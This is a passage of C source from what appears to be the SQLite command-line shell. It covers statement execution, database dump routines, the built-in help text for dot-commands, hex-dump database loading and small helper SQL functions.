sqlite3_db_config(db, SQLITE_DBCONFIG_TRIGGER_EQP, 0, 0);
/* Reprepare pStmt before reactiving trace modes */
sqlite3_finalize(pStmt);
sqlite3_prepare_v2(db, zSql, -1, &pStmt, 0);
if( pArg ) pArg->pStmt = pStmt;
}
restore_debug_trace_modes();
}
if( pArg ){
pArg->cMode = pArg->mode;
if( pArg->autoExplain ){
if( sqlite3_stmt_isexplain(pStmt)==1 ){
pArg->cMode = MODE_Explain;
}
if( sqlite3_stmt_isexplain(pStmt)==2 ){
pArg->cMode = MODE_EQP;
}
}
/* If the shell is currently in ".explain" mode, gather the extra
** data required to add indents to the output.*/
if( pArg->cMode==MODE_Explain ){
explain_data_prepare(pArg, pStmt);
}
}
bind_prepared_stmt(pArg, pStmt);
exec_prepared_stmt(pArg, pStmt);
explain_data_delete(pArg);
eqp_render(pArg);
/* print usage stats if stats on */
if( pArg && pArg->statsOn ){
display_stats(db, pArg, 0);
}
/* print loop-counters if required */
if( pArg && pArg->scanstatsOn ){
display_scanstats(db, pArg);
}
/* Finalize the statement just executed. If this fails, save a
** copy of the error message. Otherwise, set zSql to point to the
** next statement to execute. */
rc2 = sqlite3_finalize(pStmt);
if( rc!=SQLITE_NOMEM ) rc = rc2;
if( rc==SQLITE_OK ){
zSql = zLeftover;
while( IsSpace(zSql[0]) ) zSql++;
}else if( pzErrMsg ){
*pzErrMsg = save_err_msg(db);
}
/* clear saved stmt handle */
if( pArg ){
pArg->pStmt = NULL;
}
}
} /* end while */
return rc;
}
/*
** Release memory previously allocated by tableColumnList().
*/
static void freeColumnList(char **azCol){
int i;
for(i=1; azCol[i]; i++){
sqlite3_free(azCol[i]);
}
/* azCol[0] is a static string */
sqlite3_free(azCol);
}
/*
** Return a list of pointers to strings which are the names of all
** columns in table zTab. The memory to hold the names is dynamically
** allocated and must be released by the caller using a subsequent call
** to freeColumnList().
**
** The azCol[0] entry is usually NULL. However, if zTab contains a rowid
** value that needs to be preserved, then azCol[0] is filled in with the
** name of the rowid column.
**
** The first regular column in the table is azCol[1]. The list is terminated
** by an entry with azCol[i]==0.
*/
static char **tableColumnList(ShellState *p, const char *zTab){
char **azCol = 0;
sqlite3_stmt *pStmt;
char *zSql;
int nCol = 0;
int nAlloc = 0;
int nPK = 0; /* Number of PRIMARY KEY columns seen */
int isIPK = 0; /* True if one PRIMARY KEY column of type INTEGER */
int preserveRowid = ShellHasFlag(p, SHFLG_PreserveRowid);
int rc;
zSql = sqlite3_mprintf("PRAGMA table_info=%Q", zTab);
rc = sqlite3_prepare_v2(p->db, zSql, -1, &pStmt, 0);
sqlite3_free(zSql);
if( rc ) return 0;
while( sqlite3_step(pStmt)==SQLITE_ROW ){
if( nCol>=nAlloc-2 ){
nAlloc = nAlloc*2 + nCol + 10;
azCol = sqlite3_realloc(azCol, nAlloc*sizeof(azCol[0]));
if( azCol==0 ) shell_out_of_memory();
}
azCol[++nCol] = sqlite3_mprintf("%s", sqlite3_column_text(pStmt, 1));
if( sqlite3_column_int(pStmt, 5) ){
nPK++;
if( nPK==1
&& sqlite3_stricmp((const char*)sqlite3_column_text(pStmt,2),
"INTEGER")==0
){
isIPK = 1;
}else{
isIPK = 0;
}
}
}
sqlite3_finalize(pStmt);
if( azCol==0 ) return 0;
azCol[0] = 0;
azCol[nCol+1] = 0;
/* The decision of whether or not a rowid really needs to be preserved
** is tricky. We never need to preserve a rowid for a WITHOUT ROWID table
** or a table with an INTEGER PRIMARY KEY. We are unable to preserve
** rowids on tables where the rowid is inaccessible because there are other
** columns in the table named "rowid", "_rowid_", and "oid".
*/
if( preserveRowid && isIPK ){
/* If a single PRIMARY KEY column with type INTEGER was seen, then it
** might be an alise for the ROWID. But it might also be a WITHOUT ROWID
** table or a INTEGER PRIMARY KEY DESC column, neither of which are
** ROWID aliases. To distinguish these cases, check to see if
** there is a "pk" entry in "PRAGMA index_list". There will be
** no "pk" index if the PRIMARY KEY really is an alias for the ROWID.
*/
zSql = sqlite3_mprintf("SELECT 1 FROM pragma_index_list(%Q)"
" WHERE origin='pk'", zTab);
rc = sqlite3_prepare_v2(p->db, zSql, -1, &pStmt, 0);
sqlite3_free(zSql);
if( rc ){
freeColumnList(azCol);
return 0;
}
rc = sqlite3_step(pStmt);
sqlite3_finalize(pStmt);
preserveRowid = rc==SQLITE_ROW;
}
if( preserveRowid ){
/* Only preserve the rowid if we can find a name to use for the
** rowid */
static char *azRowid[] = { "rowid", "_rowid_", "oid" };
int i, j;
for(j=0; j<3; j++){
for(i=1; i<=nCol; i++){
if( sqlite3_stricmp(azRowid[j],azCol[i])==0 ) break;
}
if( i>nCol ){
/* At this point, we know that azRowid[j] is not the name of any
** ordinary column in the table. Verify that azRowid[j] is a valid
** name for the rowid before adding it to azCol[0]. WITHOUT ROWID
** tables will fail this last check */
rc = sqlite3_table_column_metadata(p->db,0,zTab,azRowid[j],0,0,0,0,0);
if( rc==SQLITE_OK ) azCol[0] = azRowid[j];
break;
}
}
}
return azCol;
}
/*
** Toggle the reverse_unordered_selects setting.
*/
static void toggleSelectOrder(sqlite3 *db){
sqlite3_stmt *pStmt = 0;
int iSetting = 0;
char zStmt[100];
sqlite3_prepare_v2(db, "PRAGMA reverse_unordered_selects", -1, &pStmt, 0);
if( sqlite3_step(pStmt)==SQLITE_ROW ){
iSetting = sqlite3_column_int(pStmt, 0);
}
sqlite3_finalize(pStmt);
sqlite3_snprintf(sizeof(zStmt), zStmt,
"PRAGMA reverse_unordered_selects(%d)", !iSetting);
sqlite3_exec(db, zStmt, 0, 0, 0);
}
/*
** This is a different callback routine used for dumping the database.
** Each row received by this callback consists of a table name,
** the table type ("index" or "table") and SQL to create the table.
** This routine should print text sufficient to recreate the table.
*/
static int dump_callback(void *pArg, int nArg, char **azArg, char **azNotUsed){
int rc;
const char *zTable;
const char *zType;
const char *zSql;
ShellState *p = (ShellState *)pArg;
int dataOnly;
int noSys;
UNUSED_PARAMETER(azNotUsed);
if( nArg!=3 || azArg==0 ) return 0;
zTable = azArg[0];
zType = azArg[1];
zSql = azArg[2];
dataOnly = (p->shellFlgs & SHFLG_DumpDataOnly)!=0;
noSys = (p->shellFlgs & SHFLG_DumpNoSys)!=0;
if( strcmp(zTable, "sqlite_sequence")==0 && !noSys ){
if( !dataOnly ) raw_printf(p->out, "DELETE FROM sqlite_sequence;\n");
}else if( sqlite3_strglob("sqlite_stat?", zTable)==0 && !noSys ){
if( !dataOnly ) raw_printf(p->out, "ANALYZE sqlite_schema;\n");
}else if( strncmp(zTable, "sqlite_", 7)==0 ){
return 0;
}else if( dataOnly ){
/* no-op */
}else if( strncmp(zSql, "CREATE VIRTUAL TABLE", 20)==0 ){
char *zIns;
if( !p->writableSchema ){
raw_printf(p->out, "PRAGMA writable_schema=ON;\n");
p->writableSchema = 1;
}
zIns = sqlite3_mprintf(
"INSERT INTO sqlite_schema(type,name,tbl_name,rootpage,sql)"
"VALUES('table','%q','%q',0,'%q');",
zTable, zTable, zSql);
utf8_printf(p->out, "%s\n", zIns);
sqlite3_free(zIns);
return 0;
}else{
printSchemaLine(p->out, zSql, ";\n");
}
if( strcmp(zType, "table")==0 ){
ShellText sSelect;
ShellText sTable;
char **azCol;
int i;
char *savedDestTable;
int savedMode;
azCol = tableColumnList(p, zTable);
if( azCol==0 ){
p->nErr++;
return 0;
}
/* Always quote the table name, even if it appears to be pure ascii,
** in case it is a keyword. Ex: INSERT INTO "table" ... */
initText(&sTable);
appendText(&sTable, zTable, quoteChar(zTable));
/* If preserving the rowid, add a column list after the table name.
** In other words: "INSERT INTO tab(rowid,a,b,c,...) VALUES(...)"
** instead of the usual "INSERT INTO tab VALUES(...)".
*/
if( azCol[0] ){
appendText(&sTable, "(", 0);
appendText(&sTable, azCol[0], 0);
for(i=1; azCol[i]; i++){
appendText(&sTable, ",", 0);
appendText(&sTable, azCol[i], quoteChar(azCol[i]));
}
appendText(&sTable, ")", 0);
}
/* Build an appropriate SELECT statement */
initText(&sSelect);
appendText(&sSelect, "SELECT ", 0);
if( azCol[0] ){
appendText(&sSelect, azCol[0], 0);
appendText(&sSelect, ",", 0);
}
for(i=1; azCol[i]; i++){
appendText(&sSelect, azCol[i], quoteChar(azCol[i]));
if( azCol[i+1] ){
appendText(&sSelect, ",", 0);
}
}
freeColumnList(azCol);
appendText(&sSelect, " FROM ", 0);
appendText(&sSelect, zTable, quoteChar(zTable));
savedDestTable = p->zDestTable;
savedMode = p->mode;
p->zDestTable = sTable.z;
p->mode = p->cMode = MODE_Insert;
rc = shell_exec(p, sSelect.z, 0);
if( (rc&0xff)==SQLITE_CORRUPT ){
raw_printf(p->out, "/****** CORRUPTION ERROR *******/\n");
toggleSelectOrder(p->db);
shell_exec(p, sSelect.z, 0);
toggleSelectOrder(p->db);
}
p->zDestTable = savedDestTable;
p->mode = savedMode;
freeText(&sTable);
freeText(&sSelect);
if( rc ) p->nErr++;
}
return 0;
}
/*
** Run zQuery. Use dump_callback() as the callback routine so that
** the contents of the query are output as SQL statements.
**
** If we get a SQLITE_CORRUPT error, rerun the query after appending
** "ORDER BY rowid DESC" to the end.
*/
static int run_schema_dump_query(
ShellState *p,
const char *zQuery
){
int rc;
char *zErr = 0;
rc = sqlite3_exec(p->db, zQuery, dump_callback, p, &zErr);
if( rc==SQLITE_CORRUPT ){
char *zQ2;
int len = strlen30(zQuery);
raw_printf(p->out, "/****** CORRUPTION ERROR *******/\n");
if( zErr ){
utf8_printf(p->out, "/****** %s ******/\n", zErr);
sqlite3_free(zErr);
zErr = 0;
}
zQ2 = malloc( len+100 );
if( zQ2==0 ) return rc;
sqlite3_snprintf(len+100, zQ2, "%s ORDER BY rowid DESC", zQuery);
rc = sqlite3_exec(p->db, zQ2, dump_callback, p, &zErr);
if( rc ){
utf8_printf(p->out, "/****** ERROR: %s ******/\n", zErr);
}else{
rc = SQLITE_CORRUPT;
}
sqlite3_free(zErr);
free(zQ2);
}
return rc;
}
/*
** Text of help messages.
**
** The help text for each individual command begins with a line that starts
** with ".". Subsequent lines are supplimental information.
**
** There must be two or more spaces between the end of the command and the
** start of the description of what that command does.
*/
static const char *(azHelp[]) = {
#if defined(SQLITE_HAVE_ZLIB) && !defined(SQLITE_OMIT_VIRTUALTABLE)
".archive ... Manage SQL archives",
" Each command must have exactly one of the following options:",
" -c, --create Create a new archive",
" -u, --update Add or update files with changed mtime",
" -i, --insert Like -u but always add even if unchanged",
" -t, --list List contents of archive",
" -x, --extract Extract files from archive",
" Optional arguments:",
" -v, --verbose Print each filename as it is processed",
" -f FILE, --file FILE Use archive FILE (default is current db)",
" -a FILE, --append FILE Open FILE using the apndvfs VFS",
" -C DIR, --directory DIR Read/extract files from directory DIR",
" -n, --dryrun Show the SQL that would have occurred",
" Examples:",
" .ar -cf ARCHIVE foo bar # Create ARCHIVE from files foo and bar",
" .ar -tf ARCHIVE # List members of ARCHIVE",
" .ar -xvf ARCHIVE # Verbosely extract files from ARCHIVE",
" See also:",
" http://sqlite.org/cli.html#sqlite_archive_support",
#endif
#ifndef SQLITE_OMIT_AUTHORIZATION
".auth ON|OFF Show authorizer callbacks",
#endif
".backup ?DB? FILE Backup DB (default \"main\") to FILE",
" --append Use the appendvfs",
" --async Write to FILE without journal and fsync()",
".bail on|off Stop after hitting an error. Default OFF",
".binary on|off Turn binary output on or off. Default OFF",
".cd DIRECTORY Change the working directory to DIRECTORY",
".changes on|off Show number of rows changed by SQL",
".check GLOB Fail if output since .testcase does not match",
".clone NEWDB Clone data into NEWDB from the existing database",
".databases List names and files of attached databases",
".dbconfig ?op? ?val? List or change sqlite3_db_config() options",
".dbinfo ?DB? Show status information about the database",
".dump ?OBJECTS? Render database content as SQL",
" Options:",
" --data-only Output only INSERT statements",
" --newlines Allow unescaped newline characters in output",
" --nosys Omit system tables (ex: \"sqlite_stat1\")",
" --preserve-rowids Include ROWID values in the output",
" OBJECTS is a LIKE pattern for tables, indexes, triggers or views to dump",
" Additional LIKE patterns can be given in subsequent arguments",
".echo on|off Turn command echo on or off",
".eqp on|off|full|... Enable or disable automatic EXPLAIN QUERY PLAN",
" Other Modes:",
#ifdef SQLITE_DEBUG
" test Show raw EXPLAIN QUERY PLAN output",
" trace Like \"full\" but enable \"PRAGMA vdbe_trace\"",
#endif
" trigger Like \"full\" but also show trigger bytecode",
".excel Display the output of next command in spreadsheet",
" --bom Put a UTF8 byte-order mark on intermediate file",
".exit ?CODE? Exit this program with return-code CODE",
".expert EXPERIMENTAL. Suggest indexes for queries",
".explain ?on|off|auto? Change the EXPLAIN formatting mode. Default: auto",
".filectrl CMD ... Run various sqlite3_file_control() operations",
" --schema SCHEMA Use SCHEMA instead of \"main\"",
" --help Show CMD details",
".fullschema ?--indent? Show schema and the content of sqlite_stat tables",
".headers on|off Turn display of headers on or off",
".help ?-all? ?PATTERN? Show help text for PATTERN",
".import FILE TABLE Import data from FILE into TABLE",
" Options:",
" --ascii Use \\037 and \\036 as column and row separators",
" --csv Use , and \\n as column and row separators",
" --skip N Skip the first N rows of input",
" -v \"Verbose\" - increase auxiliary output",
" Notes:",
" * If TABLE does not exist, it is created. The first row of input",
" determines the column names.",
" * If neither --csv or --ascii are used, the input mode is derived",
" from the \".mode\" output mode",
" * If FILE begins with \"|\" then it is a command that generates the",
" input text.",
".importxlsx FILE TABLE Import data from .XLSX FILE into TABLE",
#ifndef SQLITE_OMIT_TEST_CONTROL
".imposter INDEX TABLE Create imposter table TABLE on index INDEX",
#endif
".indexes ?TABLE? Show names of indexes",
" If TABLE is specified, only show indexes for",
" tables matching TABLE using the LIKE operator.",
#ifdef SQLITE_ENABLE_IOTRACE
".iotrace FILE Enable I/O diagnostic logging to FILE",
#endif
".limit ?LIMIT? ?VAL? Display or change the value of an SQLITE_LIMIT",
".lint OPTIONS Report potential schema issues.",
" Options:",
" fkey-indexes Find missing foreign key indexes",
#ifndef SQLITE_OMIT_LOAD_EXTENSION
".load FILE ?ENTRY? Load an extension library",
#endif
".log FILE|off Turn logging on or off. FILE can be stderr/stdout",
".mode MODE ?TABLE? Set output mode",
" MODE is one of:",
" ascii Columns/rows delimited by 0x1F and 0x1E",
" box Tables using unicode box-drawing characters",
" csv Comma-separated values",
" column Output in columns. (See .width)",
" html HTML <table> code",
" insert SQL insert statements for TABLE",
" json Results in a JSON array",
" line One value per line",
" list Values delimited by \"|\"",
" markdown Markdown table format",
" quote Escape answers as for SQL",
" table ASCII-art table",
" tabs Tab-separated values",
" tcl TCL list elements",
".nullvalue STRING Use STRING in place of NULL values",
".once ?OPTIONS? ?FILE? Output for the next SQL command only to FILE",
" If FILE begins with '|' then open as a pipe",
" --bom Put a UTF8 byte-order mark at the beginning",
" -e Send output to the system text editor",
" -x Send output as CSV to a spreadsheet (same as \".excel\")",
#ifdef SQLITE_DEBUG
".oom ?--repeat M? ?N? Simulate an OOM error on the N-th allocation",
#endif
".open ?OPTIONS? ?FILE? Close existing database and reopen FILE",
" Options:",
" --append Use appendvfs to append database to the end of FILE",
#ifndef SQLITE_OMIT_DESERIALIZE
" --deserialize Load into memory using sqlite3_deserialize()",
" --hexdb Load the output of \"dbtotxt\" as an in-memory db",
" --maxsize N Maximum size for --hexdb or --deserialized database",
#endif
" --new Initialize FILE to an empty database",
" --nofollow Do not follow symbolic links",
" --readonly Open FILE readonly",
" --zip FILE is a ZIP archive",
".output ?FILE? Send output to FILE or stdout if FILE is omitted",
" If FILE begins with '|' then open it as a pipe.",
" Options:",
" --bom Prefix output with a UTF8 byte-order mark",
" -e Send output to the system text editor",
" -x Send output as CSV to a spreadsheet",
".parameter CMD ... Manage SQL parameter bindings",
" clear Erase all bindings",
" init Initialize the TEMP table that holds bindings",
" list List the current parameter bindings",
" set PARAMETER VALUE Given SQL parameter PARAMETER a value of VALUE",
" PARAMETER should start with one of: $ : @ ?",
" unset PARAMETER Remove PARAMETER from the binding table",
".print STRING... Print literal STRING",
#ifndef SQLITE_OMIT_PROGRESS_CALLBACK
".progress N Invoke progress handler after every N opcodes",
" --limit N Interrupt after N progress callbacks",
" --once Do no more than one progress interrupt",
" --quiet|-q No output except at interrupts",
" --reset Reset the count for each input and interrupt",
#endif
".prompt MAIN CONTINUE Replace the standard prompts",
".quit Exit this program",
".read FILE Read input from FILE",
#if !defined(SQLITE_OMIT_VIRTUALTABLE) && defined(SQLITE_ENABLE_DBPAGE_VTAB)
".recover Recover as much data as possible from corrupt db.",
" --freelist-corrupt Assume the freelist is corrupt",
" --recovery-db NAME Store recovery metadata in database file NAME",
" --lost-and-found TABLE Alternative name for the lost-and-found table",
" --no-rowids Do not attempt to recover rowid values",
" that are not also INTEGER PRIMARY KEYs",
#endif
".restore ?DB? FILE Restore content of DB (default \"main\") from FILE",
".save FILE Write in-memory database into FILE",
".scanstats on|off Turn sqlite3_stmt_scanstatus() metrics on or off",
".schema ?PATTERN? Show the CREATE statements matching PATTERN",
" Options:",
" --indent Try to pretty-print the schema",
" --nosys Omit objects whose names start with \"sqlite_\"",
".selftest ?OPTIONS? Run tests defined in the SELFTEST table",
" Options:",
" --init Create a new SELFTEST table",
" -v Verbose output",
".separator COL ?ROW? Change the column and row separators",
#if defined(SQLITE_ENABLE_SESSION)
".session ?NAME? CMD ... Create or control sessions",
" Subcommands:",
" attach TABLE Attach TABLE",
" changeset FILE Write a changeset into FILE",
" close Close one session",
" enable ?BOOLEAN? Set or query the enable bit",
" filter GLOB... Reject tables matching GLOBs",
" indirect ?BOOLEAN? Mark or query the indirect status",
" isempty Query whether the session is empty",
" list List currently open session names",
" open DB NAME Open a new session on DB",
" patchset FILE Write a patchset into FILE",
" If ?NAME? is omitted, the first defined session is used.",
#endif
".sha3sum ... Compute a SHA3 hash of database content",
" Options:",
" --schema Also hash the sqlite_schema table",
" --sha3-224 Use the sha3-224 algorithm",
" --sha3-256 Use the sha3-256 algorithm (default)",
" --sha3-384 Use the sha3-384 algorithm",
" --sha3-512 Use the sha3-512 algorithm",
" Any other argument is a LIKE pattern for tables to hash",
#ifndef SQLITE_NOHAVE_SYSTEM
".shell CMD ARGS... Run CMD ARGS... in a system shell",
#endif
".show Show the current values for various settings",
".stats ?ARG? Show stats or turn stats on or off",
" off Turn off automatic stat display",
" on Turn on automatic stat display",
" stmt Show statement stats",
" vmstep Show the virtual machine step count only",
#ifndef SQLITE_NOHAVE_SYSTEM
".system CMD ARGS... Run CMD ARGS... in a system shell",
#endif
".tables ?TABLE? List names of tables matching LIKE pattern TABLE",
".testcase NAME Begin redirecting output to 'testcase-out.txt'",
".testctrl CMD ... Run various sqlite3_test_control() operations",
" Run \".testctrl\" with no arguments for details",
".timeout MS Try opening locked tables for MS milliseconds",
".timer on|off Turn SQL timer on or off",
#ifndef SQLITE_OMIT_TRACE
".trace ?OPTIONS? Output each SQL statement as it is run",
" FILE Send output to FILE",
" stdout Send output to stdout",
" stderr Send output to stderr",
" off Disable tracing",
" --expanded Expand query parameters",
#ifdef SQLITE_ENABLE_NORMALIZE
" --normalized Normal the SQL statements",
#endif
" --plain Show SQL as it is input",
" --stmt Trace statement execution (SQLITE_TRACE_STMT)",
" --profile Profile statements (SQLITE_TRACE_PROFILE)",
" --row Trace each row (SQLITE_TRACE_ROW)",
" --close Trace connection close (SQLITE_TRACE_CLOSE)",
#endif /* SQLITE_OMIT_TRACE */
#ifdef SQLITE_DEBUG
".unmodule NAME ... Unregister virtual table modules",
" --allexcept Unregister everything except those named",
#endif
".vfsinfo ?AUX? Information about the top-level VFS",
".vfslist List all available VFSes",
".vfsname ?AUX? Print the name of the VFS stack",
".width NUM1 NUM2 ... Set minimum column widths for columnar output",
" Negative values right-justify",
};
/*
** Output help text.
**
** zPattern describes the set of commands for which help text is provided.
** If zPattern is NULL, then show all commands, but only give a one-line
** description of each.
**
** Return the number of matches.
*/
static int showHelp(FILE *out, const char *zPattern){
int i = 0;
int j = 0;
int n = 0;
char *zPat;
if( zPattern==0
|| zPattern[0]=='0'
|| strcmp(zPattern,"-a")==0
|| strcmp(zPattern,"-all")==0
|| strcmp(zPattern,"--all")==0
){
/* Show all commands, but only one line per command */
if( zPattern==0 ) zPattern = "";
for(i=0; i<ArraySize(azHelp); i++){
if( azHelp[i][0]=='.' || zPattern[0] ){
utf8_printf(out, "%s\n", azHelp[i]);
n++;
}
}
}else{
/* Look for commands that for which zPattern is an exact prefix */
zPat = sqlite3_mprintf(".%s*", zPattern);
for(i=0; i<ArraySize(azHelp); i++){
if( sqlite3_strglob(zPat, azHelp[i])==0 ){
utf8_printf(out, "%s\n", azHelp[i]);
j = i+1;
n++;
}
}
sqlite3_free(zPat);
if( n ){
if( n==1 ){
/* when zPattern is a prefix of exactly one command, then include the
** details of that command, which should begin at offset j */
while( j<ArraySize(azHelp)-1 && azHelp[j][0]!='.' ){
utf8_printf(out, "%s\n", azHelp[j]);
j++;
}
}
return n;
}
/* Look for commands that contain zPattern anywhere. Show the complete
** text of all commands that match. */
zPat = sqlite3_mprintf("%%%s%%", zPattern);
for(i=0; i<ArraySize(azHelp); i++){
if( azHelp[i][0]=='.' ) j = i;
if( sqlite3_strlike(zPat, azHelp[i], 0)==0 ){
utf8_printf(out, "%s\n", azHelp[j]);
while( j<ArraySize(azHelp)-1 && azHelp[j+1][0]!='.' ){
j++;
utf8_printf(out, "%s\n", azHelp[j]);
}
i = j;
n++;
}
}
sqlite3_free(zPat);
}
return n;
}
/* Forward reference */
static int process_input(ShellState *p);
/*
** Read the content of file zName into memory obtained from sqlite3_malloc64()
** and return a pointer to the buffer. The caller is responsible for freeing
** the memory.
**
** If parameter pnByte is not NULL, (*pnByte) is set to the number of bytes
** read.
**
** For convenience, a nul-terminator byte is always appended to the data read
** from the file before the buffer is returned. This byte is not included in
** the final value of (*pnByte), if applicable.
**
** NULL is returned if any error is encountered. The final value of *pnByte
** is undefined in this case.
*/
static char *readFile(const char *zName, int *pnByte){
FILE *in = fopen(zName, "rb");
long nIn;
size_t nRead;
char *pBuf;
if( in==0 ) return 0;
fseek(in, 0, SEEK_END);
nIn = ftell(in);
rewind(in);
pBuf = sqlite3_malloc64( nIn+1 );
if( pBuf==0 ){ fclose(in); return 0; }
nRead = fread(pBuf, nIn, 1, in);
fclose(in);
if( nRead!=1 ){
sqlite3_free(pBuf);
return 0;
}
pBuf[nIn] = 0;
if( pnByte ) *pnByte = nIn;
return pBuf;
}
#if defined(SQLITE_ENABLE_SESSION)
/*
** Close a single OpenSession object and release all of its associated
** resources.
*/
static void session_close(OpenSession *pSession){
int i;
sqlite3session_delete(pSession->p);
sqlite3_free(pSession->zName);
for(i=0; i<pSession->nFilter; i++){
sqlite3_free(pSession->azFilter[i]);
}
sqlite3_free(pSession->azFilter);
memset(pSession, 0, sizeof(OpenSession));
}
#endif
/*
** Close all OpenSession objects and release all associated resources.
*/
#if defined(SQLITE_ENABLE_SESSION)
static void session_close_all(ShellState *p){
int i;
for(i=0; i<p->nSession; i++){
session_close(&p->aSession[i]);
}
p->nSession = 0;
}
#else
# define session_close_all(X)
#endif
/*
** Implementation of the xFilter function for an open session. Omit
** any tables named by ".session filter" but let all other table through.
*/
#if defined(SQLITE_ENABLE_SESSION)
static int session_filter(void *pCtx, const char *zTab){
OpenSession *pSession = (OpenSession*)pCtx;
int i;
for(i=0; i<pSession->nFilter; i++){
if( sqlite3_strglob(pSession->azFilter[i], zTab)==0 ) return 0;
}
return 1;
}
#endif
/*
** Try to deduce the type of file for zName based on its content. Return
** one of the SHELL_OPEN_* constants.
**
** If the file does not exist or is empty but its name looks like a ZIP
** archive and the dfltZip flag is true, then assume it is a ZIP archive.
** Otherwise, assume an ordinary database regardless of the filename if
** the type cannot be determined from content.
*/
int deduceDatabaseType(const char *zName, int dfltZip){
FILE *f = fopen(zName, "rb");
size_t n;
int rc = SHELL_OPEN_UNSPEC;
char zBuf[100];
if( f==0 ){
if( dfltZip && sqlite3_strlike("%.zip",zName,0)==0 ){
return SHELL_OPEN_ZIPFILE;
}else{
return SHELL_OPEN_NORMAL;
}
}
n = fread(zBuf, 16, 1, f);
if( n==1 && memcmp(zBuf, "SQLite format 3", 16)==0 ){
fclose(f);
return SHELL_OPEN_NORMAL;
}
fseek(f, -25, SEEK_END);
n = fread(zBuf, 25, 1, f);
if( n==1 && memcmp(zBuf, "Start-Of-SQLite3-", 17)==0 ){
rc = SHELL_OPEN_APPENDVFS;
}else{
fseek(f, -22, SEEK_END);
n = fread(zBuf, 22, 1, f);
if( n==1 && zBuf[0]==0x50 && zBuf[1]==0x4b && zBuf[2]==0x05
&& zBuf[3]==0x06 ){
rc = SHELL_OPEN_ZIPFILE;
}else if( n==0 && dfltZip && sqlite3_strlike("%.zip",zName,0)==0 ){
rc = SHELL_OPEN_ZIPFILE;
}
}
fclose(f);
return rc;
}
#ifndef SQLITE_OMIT_DESERIALIZE
/*
** Reconstruct an in-memory database using the output from the "dbtotxt"
** program. Read content from the file in p->zDbFilename. If p->zDbFilename
** is 0, then read from standard input.
*/
static unsigned char *readHexDb(ShellState *p, int *pnData){
unsigned char *a = 0;
int nLine;
int n = 0;
int pgsz = 0;
int iOffset = 0;
int j, k;
int rc;
FILE *in;
unsigned int x[16];
char zLine[1000];
if( p->zDbFilename ){
in = fopen(p->zDbFilename, "r");
if( in==0 ){
utf8_printf(stderr, "cannot open \"%s\" for reading\n", p->zDbFilename);
return 0;
}
nLine = 0;
}else{
in = p->in;
nLine = p->lineno;
if( in==0 ) in = stdin;
}
*pnData = 0;
nLine++;
if( fgets(zLine, sizeof(zLine), in)==0 ) goto readHexDb_error;
rc = sscanf(zLine, "| size %d pagesize %d", &n, &pgsz);
if( rc!=2 ) goto readHexDb_error;
if( n<0 ) goto readHexDb_error;
if( pgsz<512 || pgsz>65536 || (pgsz&(pgsz-1))!=0 ) goto readHexDb_error;
n = (n+pgsz-1)&~(pgsz-1); /* Round n up to the next multiple of pgsz */
a = sqlite3_malloc( n ? n : 1 );
if( a==0 ){
utf8_printf(stderr, "Out of memory!\n");
goto readHexDb_error;
}
memset(a, 0, n);
if( pgsz<512 || pgsz>65536 || (pgsz & (pgsz-1))!=0 ){
utf8_printf(stderr, "invalid pagesize\n");
goto readHexDb_error;
}
for(nLine++; fgets(zLine, sizeof(zLine), in)!=0; nLine++){
rc = sscanf(zLine, "| page %d offset %d", &j, &k);
if( rc==2 ){
iOffset = k;
continue;
}
if( strncmp(zLine, "| end ", 6)==0 ){
break;
}
rc = sscanf(zLine,"| %d: %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x",
&j, &x[0], &x[1], &x[2], &x[3], &x[4], &x[5], &x[6], &x[7],
&x[8], &x[9], &x[10], &x[11], &x[12], &x[13], &x[14], &x[15]);
if( rc==17 ){
k = iOffset+j;
if( k+16<=n ){
int ii;
for(ii=0; ii<16; ii++) a[k+ii] = x[ii]&0xff;
}
}
}
*pnData = n;
if( in!=p->in ){
fclose(in);
}else{
p->lineno = nLine;
}
return a;
readHexDb_error:
if( in!=p->in ){
fclose(in);
}else{
while( fgets(zLine, sizeof(zLine), p->in)!=0 ){
nLine++;
if(strncmp(zLine, "| end ", 6)==0 ) break;
}
p->lineno = nLine;
}
sqlite3_free(a);
utf8_printf(stderr,"Error on line %d of --hexdb input\n", nLine);
return 0;
}
#endif /* SQLITE_OMIT_DESERIALIZE */
/*
** Scalar function "shell_int32". The first argument to this function
** must be a blob. The second a non-negative integer. This function
** reads and returns a 32-bit big-endian integer from byte
** offset (4*<arg2>) of the blob.
*/
static void shellInt32(
sqlite3_context *context,
int argc,
sqlite3_value **argv
){
const unsigned char *pBlob;
int nBlob;
int iInt;
UNUSED_PARAMETER(argc);
nBlob = sqlite3_value_bytes(argv[0]);
pBlob = (const unsigned char*)sqlite3_value_blob(argv[0]);
iInt = sqlite3_value_int(argv[1]);
if( iInt>=0 && (iInt+1)*4<=nBlob ){
const unsigned char *a = &pBlob[iInt*4];
sqlite3_int64 iVal = ((sqlite3_int64)a[0]<<24)
+ ((sqlite3_int64)a[1]<<16)
+ ((sqlite3_int64)a[2]<< 8)
+ ((sqlite3_int64)a[3]<< 0);
sqlite3_result_int64(context, iVal);
}
}
/*
** Scalar function "shell_idquote(X)" returns string X quoted as an identifier,
** using "..." with internal double-quote characters doubled.
*/
static void shellIdQuote(
sqlite3_context *context,
int argc,
sqlite3_value **argv
){
const char *zName = (const char*)sqlite3_value_text(argv[0]);
UNUSED_PARAMETER(argc);
if( zName ){
char *z = sqlite3_mprintf("\"%w\"", zName);
sqlite3_result_text(context, z, -1, sqlite3_free);
}
}
/*
** Scalar function "usleep(X)" invokes sqlite3_sleep(X) and returns X.
*/
static void shellUSleepFunc(
sqlite3_context *context,
int argcUnused,
sqlite3_value **argv
){
int sleep = sqlite3_value_int(argv[0]);
(void)argcUnused;
sqlite3_sleep(sleep/1000);
sqlite3_result_int(context, sleep);
}
/*
** Scalar function "shell_escape_crnl" used by the .recover command.
** The argument passed to this function is the output of built-in
** function quote(). If the first character of the input is "'",
** indicating that the value passed to quote() was a text value,
** then this function searches the input for "\n" and "\r" characters
** and adds a wrapper similar to the following:
**
** replace(replace(<input>, '\n', char(10), '\r', char(13));
**
** Or, if the first character of the input is not "'", then a copy
** of the input is returned.
*/
static void shellEscapeCrnl(
sqlite3_context *context,
int argc,
sqlite3_value **argv
){
const char *zText = (const char*)sqlite3_value_text(argv[0]);
UNUSED_PARAMETER(argc);
if( zText[0]=='\'' ){
int nText = sqlite3_value_bytes(argv[0]);
int i;
char zBuf1[20];
char zBuf2[20];
const char *zNL = 0;
const char *zCR = 0;
int nCR = 0;
int nNL = 0;
for(i=0; zText[i]; i++){
if( zNL==0 && zText[i]=='\n' ){
zNL = unused_string(zText, "\\n", "\\012", zBuf1);
nNL = (int)strlen(zNL);
}
